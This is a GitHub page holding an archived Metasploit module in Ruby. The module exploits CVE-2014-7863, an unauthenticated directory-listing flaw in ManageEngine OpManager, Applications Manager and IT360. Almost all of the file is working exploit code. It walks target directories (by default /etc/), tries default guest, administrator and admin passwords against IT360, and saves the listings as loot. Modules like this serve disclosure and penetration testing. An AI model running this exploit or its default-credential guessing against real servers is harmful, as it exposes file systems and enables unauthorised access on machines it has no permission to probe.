-
Notifications
You must be signed in to change notification settings - Fork 167
/
me_dir_listing.rb
249 lines (218 loc) · 7.58 KB
/
me_dir_listing.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine OpManager / Applications Manager / IT360 Arbitrary Directory Listing",
'Description' => %q{
This module exploits a directory listing information disclosure vulnerability in
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360.
It recurses through diretories, so it will list the whole drive if you ask it to list
/ in Linux or C:\ in Windows.
This vulnerability is unauthenticated on OpManager and Applications Manager, but
authenticated in IT360. This module will attempt to login using the default
credentials for the administrator and guest accounts; alternatively you can provide a
pre-authenticated cookie or a username / password combo.
For IT360 targets enter the RPORT of the OpManager instance (usually 8300).
This module has been tested on both Windows and Linux with several different versions
Windows paths have to be escaped with 4 backslashes on the command line.
There is a companion module that allows you to download an arbitrary file.
This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-7863' ],
[ 'OSVDB', '117696' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jan/114' ]
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DisclosureDate' => 'Jan 28 2015'))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI',
[ true, "The base path to OpManager, AppManager or IT360", '/' ]),
OptString.new('DIRECTORY', [false, 'Path of the directory to list', '/etc/']),
OptString.new('IAMAGENTTICKET',
[false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
OptString.new('USERNAME',
[true, 'The username to login as (IT360 target only)', 'guest']),
OptString.new('PASSWORD',
[true, 'Password for the specified username (IT360 target only)', 'guest']),
OptString.new('DOMAIN_NAME',
[false, 'Name of the domain to logon to (IT360 target only)'])
], self.class)
end
def get_cookie
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
})
if res
return res.get_cookies
end
end
def detect_it360
res = send_request_cgi({
'uri' => "/",
'method' => 'GET'
})
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
return true
end
return false
end
def get_it360_cookie_name
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("/"),
})
cookie = res.get_cookies
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
return $1
else
return nil
end
end
def authenticate_it360(port, path, username, password)
if datastore['DOMAIN_NAME'] == nil
vars_post = {
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => "false"
}
else
vars_post = {
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => "true",
'domainName' => datastore['DOMAIN_NAME']
}
end
op_port = datastore['RPORT']
datastore['RPORT'] = port
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(path),
'vars_get' => {
'service' => "OpManager",
'furl' => "/",
'timestamp' => Time.now.to_i
},
'vars_post' => vars_post
})
datastore['RPORT'] = op_port
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
return res.get_cookies
else
return nil
end
end
def login_it360
# Do we already have a valid cookie? If yes, just return that.
if datastore['IAMAGENTTICKET'] != nil
cookie_name = get_it360_cookie_name
cookie = "IAMAGENTTICKET" + cookie_name + "=" + datastore['IAMAGENTTICKET'] + ";"
return cookie
end
# get the correct path, host and port
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("/"),
})
if res && res.redirect?
uri = [ res.redirection.port, res.redirection.path ]
else
return nil
end
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
if cookie != nil
return cookie
elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil
# we've tried with the default guest password, now let's try with the default admin password
cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')
if cookie != nil
return cookie
else
# Try one more time with the default admin login for some versions
cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')
if cookie != nil
return cookie
end
end
end
return nil
end
def run
# No point to continue if directory is not specified
if datastore['DIRECTORY'].nil? || datastore['DIRECTORY'].empty?
print_error("Please supply the path of the directory you want to list.")
return
end
if detect_it360
print_status("#{peer} - Detected IT360, attempting to login...")
cookie = login_it360
if cookie == nil
print_error("#{peer} - Failed to login to IT360!")
return
end
else
cookie = get_cookie
end
servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
res = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
})
if res && res.code == 404
servlet = 'FailOverHelperServlet'
end
# Create request
begin
print_status("#{peer} - Listing directory #{datastore['DIRECTORY']}")
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
'vars_get' => {
'operation' => 'listdirectory',
'rootDirectory' => datastore['DIRECTORY']
},
})
rescue Rex::ConnectionRefused
print_error("#{peer} - Could not connect.")
return
end
# Show data if needed
if res && res.code == 200
vprint_line(res.body.to_s)
fname = File.basename(datastore['DIRECTORY'])
path = store_loot(
'manageengine.http',
'text/plain',
datastore['RHOST'],
res.body,
fname
)
print_good("File with directory listing saved in: #{path}")
else
print_error("#{peer} - Failed to list directory.")
end
end
end